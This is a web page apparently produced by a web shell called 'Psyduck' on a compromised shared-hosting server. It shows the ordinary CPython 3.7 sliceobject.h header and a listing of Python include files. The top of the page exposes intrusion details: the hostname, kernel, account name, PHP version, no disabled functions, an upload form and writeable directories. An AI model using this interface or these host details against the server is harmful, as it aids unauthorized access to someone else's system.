Psyduck - 可達鴨 之 鴨力山大2


Server : LiteSpeed
System : Linux premium217.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
User : alloknri ( 880)
PHP Version : 8.1.34
Disable Function : NONE
Directory :  /opt/alt/python37/include/python3.7m/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //opt/alt/python37/include/python3.7m/sliceobject.h
#ifndef Py_SLICEOBJECT_H
#define Py_SLICEOBJECT_H
#ifdef __cplusplus
extern "C" {
#endif

/* The unique ellipsis object "..." */

PyAPI_DATA(PyObject) _Py_EllipsisObject; /* Don't use this directly */

#define Py_Ellipsis (&_Py_EllipsisObject)

/* Slice object interface */

/*

A slice object containing start, stop, and step data members (the
names are from range).  After much talk with Guido, it was decided to
let these be any arbitrary python type.  Py_None stands for omitted values.
*/
#ifndef Py_LIMITED_API
typedef struct {
    PyObject_HEAD
    PyObject *start, *stop, *step;      /* not NULL */
} PySliceObject;
#endif

PyAPI_DATA(PyTypeObject) PySlice_Type;
PyAPI_DATA(PyTypeObject) PyEllipsis_Type;

#define PySlice_Check(op) (Py_TYPE(op) == &PySlice_Type)

PyAPI_FUNC(PyObject *) PySlice_New(PyObject* start, PyObject* stop,
                                  PyObject* step);
#ifndef Py_LIMITED_API
PyAPI_FUNC(PyObject *) _PySlice_FromIndices(Py_ssize_t start, Py_ssize_t stop);
PyAPI_FUNC(int) _PySlice_GetLongIndices(PySliceObject *self, PyObject *length,
                                 PyObject **start_ptr, PyObject **stop_ptr,
                                 PyObject **step_ptr);
#endif
PyAPI_FUNC(int) PySlice_GetIndices(PyObject *r, Py_ssize_t length,
                                  Py_ssize_t *start, Py_ssize_t *stop, Py_ssize_t *step);
PyAPI_FUNC(int) PySlice_GetIndicesEx(PyObject *r, Py_ssize_t length,
                                     Py_ssize_t *start, Py_ssize_t *stop,
                                     Py_ssize_t *step, Py_ssize_t *slicelength) Py_DEPRECATED(3.7);

#if !defined(Py_LIMITED_API) || (Py_LIMITED_API+0 >= 0x03050400 && Py_LIMITED_API+0 < 0x03060000) || Py_LIMITED_API+0 >= 0x03060100
#define PySlice_GetIndicesEx(slice, length, start, stop, step, slicelen) (  \
    PySlice_Unpack((slice), (start), (stop), (step)) < 0 ?                  \
    ((*(slicelen) = 0), -1) :                                               \
    ((*(slicelen) = PySlice_AdjustIndices((length), (start), (stop), *(step))), \
     0))
PyAPI_FUNC(int) PySlice_Unpack(PyObject *slice,
                               Py_ssize_t *start, Py_ssize_t *stop, Py_ssize_t *step);
PyAPI_FUNC(Py_ssize_t) PySlice_AdjustIndices(Py_ssize_t length,
                                             Py_ssize_t *start, Py_ssize_t *stop,
                                             Py_ssize_t step);
#endif

#ifdef __cplusplus
}
#endif
#endif /* !Py_SLICEOBJECT_H */
Name
Size
Permissions
Options
internal
--
drwxr-xr-x
Python-ast.h
21.291 KB
-rw-r--r--
Python.h
3.471 KB
-rw-r--r--
abstract.h
39.842 KB
-rw-r--r--
accu.h
0.992 KB
-rw-r--r--
asdl.h
1.185 KB
-rw-r--r--
ast.h
0.626 KB
-rw-r--r--
bitset.h
0.791 KB
-rw-r--r--
bltinmodule.h
0.258 KB
-rw-r--r--
boolobject.h
0.865 KB
-rw-r--r--
bytearrayobject.h
2.064 KB
-rw-r--r--
bytes_methods.h
3.224 KB
-rw-r--r--
bytesobject.h
8.294 KB
-rw-r--r--
cellobject.h
0.696 KB
-rw-r--r--
ceval.h
8.513 KB
-rw-r--r--
classobject.h
1.64 KB
-rw-r--r--
code.h
5.923 KB
-rw-r--r--
codecs.h
6.634 KB
-rw-r--r--
compile.h
2.877 KB
-rw-r--r--
complexobject.h
1.765 KB
-rw-r--r--
context.h
1.967 KB
-rw-r--r--
datetime.h
9.617 KB
-rw-r--r--
descrobject.h
3.062 KB
-rw-r--r--
dictobject.h
7.151 KB
-rw-r--r--
dtoa.h
0.447 KB
-rw-r--r--
dynamic_annotations.h
21.942 KB
-rw-r--r--
enumobject.h
0.247 KB
-rw-r--r--
errcode.h
1.655 KB
-rw-r--r--
eval.h
1.181 KB
-rw-r--r--
fileobject.h
1.769 KB
-rw-r--r--
fileutils.h
4.428 KB
-rw-r--r--
floatobject.h
4.682 KB
-rw-r--r--
frameobject.h
3.24 KB
-rw-r--r--
funcobject.h
4.08 KB
-rw-r--r--
genobject.h
3.561 KB
-rw-r--r--
graminit.h
1.945 KB
-rw-r--r--
grammar.h
2.265 KB
-rw-r--r--
import.h
4.86 KB
-rw-r--r--
intrcheck.h
0.841 KB
-rw-r--r--
iterobject.h
0.554 KB
-rw-r--r--
listobject.h
2.858 KB
-rw-r--r--
longintrepr.h
3.71 KB
-rw-r--r--
longobject.h
8.393 KB
-rw-r--r--
marshal.h
0.784 KB
-rw-r--r--
memoryobject.h
2.7 KB
-rw-r--r--
metagrammar.h
0.247 KB
-rw-r--r--
methodobject.h
4.413 KB
-rw-r--r--
modsupport.h
8.358 KB
-rw-r--r--
moduleobject.h
2.25 KB
-rw-r--r--
namespaceobject.h
0.341 KB
-rw-r--r--
node.h
1.087 KB
-rw-r--r--
object.h
40.861 KB
-rw-r--r--
objimpl.h
14.135 KB
-rw-r--r--
odictobject.h
1.25 KB
-rw-r--r--
opcode.h
4.989 KB
-rw-r--r--
osdefs.h
0.675 KB
-rw-r--r--
osmodule.h
0.284 KB
-rw-r--r--
parsetok.h
2.837 KB
-rw-r--r--
patchlevel.h
1.269 KB
-rw-r--r--
pgen.h
0.247 KB
-rw-r--r--
pgenheaders.h
1.193 KB
-rw-r--r--
py_curses.h
3.967 KB
-rw-r--r--
pyarena.h
2.68 KB
-rw-r--r--
pyatomic.h
15.743 KB
-rw-r--r--
pycapsule.h
1.686 KB
-rw-r--r--
pyconfig-64.h
44.246 KB
-rw-r--r--
pyconfig.h
0.158 KB
-rw-r--r--
pyctype.h
1.289 KB
-rw-r--r--
pydebug.h
1.186 KB
-rw-r--r--
pydtrace.h
2.231 KB
-rw-r--r--
pyerrors.h
16.962 KB
-rw-r--r--
pyexpat.h
2.393 KB
-rw-r--r--
pyfpe.h
0.333 KB
-rw-r--r--
pyhash.h
4.042 KB
-rw-r--r--
pylifecycle.h
7.598 KB
-rw-r--r--
pymacconfig.h
2.919 KB
-rw-r--r--
pymacro.h
3.452 KB
-rw-r--r--
pymath.h
8.117 KB
-rw-r--r--
pymem.h
8.782 KB
-rw-r--r--
pyport.h
27.573 KB
-rw-r--r--
pystate.h
15.941 KB
-rw-r--r--
pystrcmp.h
0.426 KB
-rw-r--r--
pystrhex.h
0.483 KB
-rw-r--r--
pystrtod.h
1.448 KB
-rw-r--r--
pythonrun.h
6.059 KB
-rw-r--r--
pythread.h
5.207 KB
-rw-r--r--
pytime.h
8.717 KB
-rw-r--r--
rangeobject.h
0.614 KB
-rw-r--r--
setobject.h
3.283 KB
-rw-r--r--
sliceobject.h
2.422 KB
-rw-r--r--
structmember.h
1.982 KB
-rw-r--r--
structseq.h
1.345 KB
-rw-r--r--
symtable.h
4.813 KB
-rw-r--r--
sysmodule.h
1.476 KB
-rw-r--r--
token.h
2.422 KB
-rw-r--r--
traceback.h
3.559 KB
-rw-r--r--
tupleobject.h
2.413 KB
-rw-r--r--
typeslots.h
2.2 KB
-rw-r--r--
ucnhash.h
1.031 KB
-rw-r--r--
unicodeobject.h
80.35 KB
-rw-r--r--
warnings.h
1.734 KB
-rw-r--r--
weakrefobject.h
2.799 KB
-rw-r--r--